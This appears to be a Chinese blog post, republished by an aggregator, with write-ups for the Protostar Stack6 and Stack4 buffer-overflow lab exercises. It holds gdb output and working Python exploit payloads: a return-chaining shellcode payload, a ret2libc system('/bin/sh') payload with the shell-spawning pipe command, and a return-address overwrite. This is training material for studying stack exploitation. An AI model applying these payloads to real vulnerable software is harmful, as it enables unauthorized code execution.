Pwn系列之Protostar靶场 Stack6题解
Posted 嘉沐のBlog
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了Pwn系列之Protostar靶场 Stack6题解相关的知识，希望对你有一定的参考价值。
源码如下：
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000)
printf("bzzzt (%p)\\n", ret);
_exit(1);
printf("got path %s\\n", buffer);
int main(int argc, char **argv)
getpath();
首先，我们先来分析这段程序在做什么？
- 第1-4行导入一些常见的库函数
- 第6行定义了getpath()函数
- 第8行定义了一个buffer数组，数组长度是64
- 第9行定义了一个unsigned int 变量，变量名ret
- 第11行打印输出字符串“input path please”
- 第13行用gets函数向buffer数组写入字符
- 第15行用编译器的内建函数__builtin_return_address(0)返回当前函数的返回地址，需要进一步说明的是__builtin_return_address(1)是返回调用getpath函数的函数的返回地址（Caller\'s ret）。
- 第17行-20行就是判断该返回地址的高位是否是0xbf，如果是，退出函数。
- 第22行打印buffer的值
不难知道，main函数是Caller，所以第15行的返回值一定就是main函数中的下一条指令的地址，我们来查看一下当程序运行时，系统为该程序分配的栈地址是多少。
先在main函数里打个断点（程序运行后，才会由内存映射），然后使用info proc map查看
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack6
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack6
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fe0000 0xb7fe2000 0x2000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]
第17行可以看到，栈空间的首地址是0xbffeb000。所以源代码中的if判断针对性非常强，也就是说没法将getpath的返回地址直接返回到buffer的首地址（因为buffer在栈上），实现ret2shellcode。
但是真的不能利用了吗？显然还有机会！但是机会是有前提的。这道题存在两个假设：
-
假设栈上可以执行代码（ret2shellcode）
-
假设栈上不能执行代码（ret2libc）
接下来，我们将根据两个假设做进一步分析。
getpath的汇编代码：
(gdb) disass getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push ebp
0x08048485 <getpath+1>: mov ebp,esp
0x08048487 <getpath+3>: sub esp,0x68
0x0804848a <getpath+6>: mov eax,0x80485d0
0x0804848f <getpath+11>: mov DWORD PTR [esp],eax
0x08048492 <getpath+14>: call 0x80483c0 <printf@plt>
0x08048497 <getpath+19>: mov eax,ds:0x8049720
0x0804849c <getpath+24>: mov DWORD PTR [esp],eax
0x0804849f <getpath+27>: call 0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>: lea eax,[ebp-0x4c]
0x080484a7 <getpath+35>: mov DWORD PTR [esp],eax
0x080484aa <getpath+38>: call 0x8048380 <gets@plt>
0x080484af <getpath+43>: mov eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>: mov DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>: mov eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>: and eax,0xbf000000
0x080484bd <getpath+57>: cmp eax,0xbf000000
0x080484c2 <getpath+62>: jne 0x80484e4 <getpath+96>
0x080484c4 <getpath+64>: mov eax,0x80485e4
0x080484c9 <getpath+69>: mov edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>: mov DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>: mov DWORD PTR [esp],eax
0x080484d3 <getpath+79>: call 0x80483c0 <printf@plt>
0x080484d8 <getpath+84>: mov DWORD PTR [esp],0x1
0x080484df <getpath+91>: call 0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>: mov eax,0x80485f0
0x080484e9 <getpath+101>: lea edx,[ebp-0x4c]
0x080484ec <getpath+104>: mov DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>: mov DWORD PTR [esp],eax
0x080484f3 <getpath+111>: call 0x80483c0 <printf@plt>
0x080484f8 <getpath+116>: leave
0x080484f9 <getpath+117>: ret
End of assembler dump.
看汇编代码重点关注的是它的栈结构，尤其是buffer距离ret的距离。我们尝试画出getpath的栈图（大致就可以，不需要画的多细，找距离也是通过构造特殊输入计算的，而不是根据栈图计算的。）
假设一：栈上可以执行代码
正常的ret2shellcode思路：如果栈上可以执行代码，那么我们需要修改ret的返回地址，要控制ret的返回地址到shellcode的首地址，执行shellcode。但现在ret的返回地址会被检查，所以需要在正常思路稍作改动即可。
第一个ret会被检查，那么我们控制第一个ret返回的是getpath的ret指令地址，地址为是0x080484f9。此时成功绕过内建函数检查。接着控制第二个ret指向shellcode的首地址，当运行到第2个ret时，eip加载shellcode的首地址，然后就会跳转到buffer里执行shellcode代码！
要找到ret位置，首先我们构造特殊的字符串
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
然后运行程序
Starting program: /opt/protostar/bin/stack6 < /home/user/exp1.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()
在0x55555555中出现段错误，出现段错误的原因是ret跳转指令时发现这个地址无效。所以该地址就是ret的地址。
0x55在我们构造的字符串里是’U‘，所以只要把\'U\'的地址替换为ret的地址即可。具体修改如下：
(gdb) x /10xw $esp
0xbffff78c: 0x080484f9 0xbffff794 0xcccccccc 0xbffff800
0xbffff79c: 0xb7eadc76 0x00000001 0xbffff844 0xbffff84c
0xbffff7ac: 0xb7fe1848 0xbffff800
payload如下：
# 没有真的写shellcode,而是用0xc来模拟
import struct
buffer = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
ret = struct.pack("II",0x080484f9,0xbffff794)
shellcode = struct.pack("I",0xcccccccc)
payload = buffer + ret + shellcode
print payload
假设二：栈上不可以执行代码
当栈上无法执行代码时，shellcode写入栈就没有了任何意义。那么如何利用呢？考虑的方法是借助libc库里的可执行函数，比如system()函数。system执行shell需要参数，比如“/bin/sh”字符串，我们同样也需要在libc库空间里找这个字符串。
当程序运行到ret时，ret里记录的是system函数的入口地址，程序就会jmp到system函数，system函数执行需要参数，程序就会读取"/bin/sh"字符串作为参数传递给system函数，这样就构成了system("/bin/sh")命令执行，轻松拿到shell。
如果对整个压栈的过程不是很清楚的同学们可能会疑惑，为什么syetem函数的入口地址和参数之间要隔一个system的返回地址呢？这里我简单做一个解释。
正常调用一个函数他有一个规约，对于一个main函数调用gets(buffer)函数来说，在main函数里会先把buffer参数压栈（如果是多个参数的的话，从右往左压栈），然后call gets函数。call 命令一般会干两件事，第一件事是push eip，也就是把gets函数的下一条指令地址压栈（这就是为什么栈上要放一个ret的返回的地址）。第二件事是jmp gets，跳转到gets的函数入口。
首先在libc里找到system函数的入口地址（为什么可以呢，因为libc库已经被链接到程序里了，所以可以直接搜system函数的地址）
(gdb) p system
$3 = <text variable, no debug info> 0xb7ecffb0 <__libc_system>
在libc库空间搜索/bin/sh字符串
user@protostar:~$ strings -t d /lib/libc-2.11.2.so | grep "/bin/sh"
1176511 /bin/sh
1176511是一个相对地址（10进制），所以还要加上libc的基址0xb7e97000（查看内存映射可得出）
Payload如下：
import struct
buffer = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
system = struct.pack("I",0xb7ecffb0)
ret = "AAAA"
shellcode = struct.pack("I",0xb7e97000+1176511)
payload = buffer +system+ ret + shellcode
print payload
踩坑：
如果直接在gdb里尝试这个Payload会出现一个错误：
__libc_system (line=0xb7fb63bf "/bin/sh") at ../sysdeps/posix/system.c:179
179 ../sysdeps/posix/system.c: No such file or directory.
in ../sysdeps/posix/system.c
使用下面这条指令，getshell!
(python exp1.py; cat) | /opt/protostar/bin/stack6
Protostar——stack4
简介
这次练习只有buffer一个变量，所以不能再通过覆盖变量值应该程序执行逻辑了，这次我们可以直接覆盖main函数的返回地址，那么它的返回地址在哪里呢？
源码
1 #include <stdlib.h> 2 #include <unistd.h> 3 #include <stdio.h> 4 #include <string.h> 5 6 void win() 7 { 8 printf("code flow successfully changed\n"); 9 } 10 11 int main(int argc, char **argv) 12 { 13 char buffer[64]; 14 15 gets(buffer); 16 }
分析
可以看到程序中有一个win函数，但并没有直接调用，我们的目的肯定是让程序的执行流程进入win函数。main函数中有buffer一个变量，在通过gets函数获取用户输入赋值给buffer变量之后，函数就执行结束了，所以这里我们需要仔细分析一下栈中的内容分布，如果输入内容大于64字节，我们会覆盖什么区域？回忆在函数调用时需要执行的汇编指令，以main函数为例：
1 push argv 2 push argc 3 call main 4 main: 5 push ebp 6 mov ebp, esp 7 为局部变量分配空间
所以栈中数据的分布应该是：
1 argv 2 argc 3 ret address 4 ebp 5 局部变量
下面通过调试程序，验证一下我们的分析
调试程序
1 (gdb) b 16 2 Breakpoint 1 at 0x804841d: file stack4/stack4.c, line 16. 3 (gdb) r 4 Starting program: /opt/protostar/bin/stack4 5 abcd 6 7 Breakpoint 1, main (argc=1, argv=0xbffffd64) at stack4/stack4.c:16 8 16 stack4/stack4.c: No such file or directory. 9 in stack4/stack4.c 10 (gdb) print $ebp 11 $1 = (void *) 0xbffffcb8 12 (gdb) print $esp 13 $2 = (void *) 0xbffffc60 14 (gdb) x/32xw $esp 15 0xbffffc60: 0xbffffc70 0xb7ec6165 0xbffffc78 0xb7eada75 16 0xbffffc70: 0x64636261 0x08049500 0xbffffc88 0x080482e8 17 0xbffffc80: 0xb7ff1040 0x080495ec 0xbffffcb8 0x08048449 18 0xbffffc90: 0xb7fd8304 0xb7fd7ff4 0x08048430 0xbffffcb8 19 0xbffffca0: 0xb7ec6365 0xb7ff1040 0x0804843b 0xb7fd7ff4 20 0xbffffcb0: 0x08048430 0x00000000 0xbffffd38 0xb7eadc76 21 0xbffffcc0: 0x00000001 0xbffffd64 0xbffffd6c 0xb7fe1848 22 0xbffffcd0: 0xbffffd20 0xffffffff 0xb7ffeff4 0x0804824b 23 (gdb) info address win 24 Symbol "win" is a function at address 0x80483f4.
标红的部分是buffer的内容。
从调试的输出可以看到argc=1, argv=0xbffffd64，正是0xbffffcc0那里的内容，所以绿字是main函数的返回地址，橙字是上一个栈帧的ebp值。但是为什么0xbffffcb0那里还有八个字节的内容呢？我们可以看一下main函数的反汇编代码：
1 (gdb) disass main 2 Dump of assembler code for function main: 3 0x08048408 <main+0>: push %ebp 4 0x08048409 <main+1>: mov %esp,%ebp 5 0x0804840b <main+3>: and $0xfffffff0,%esp 6 0x0804840e <main+6>: sub $0x50,%esp 7 0x08048411 <main+9>: lea 0x10(%esp),%eax 8 0x08048415 <main+13>: mov %eax,(%esp) 9 0x08048418 <main+16>: call 0x804830c <[email protected]> 10 0x0804841d <main+21>: leave 11 0x0804841e <main+22>: ret 12 End of assembler dump.
可以看到在0x0804840b处的代码，对esp的值进行了一次对齐，正是这次对齐让栈中多出了8字节的数据。
所以，如果想要覆盖main函数的返回地址，使得程序的执行逻辑进入win函数，我们需要构造80字节的Payload，且payload以0xf4830408结尾。
EXPLOIT编写
知道payload怎么写之后，exploit就很好编写了，直接给出代码：
1 import subprocess 2 proc = subprocess.Popen("/opt/protostar/bin/stack4", stdin=subprocess.PIPE) 3 payload = "61616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161f4830408" 4 proc.communicate(payload.decode("hex"))
输出结果：
$ python exploit4.py
code flow successfully changed
以上是关于Pwn系列之Protostar靶场 Stack6题解的主要内容，如果未能解决你的问题，请参考以下文章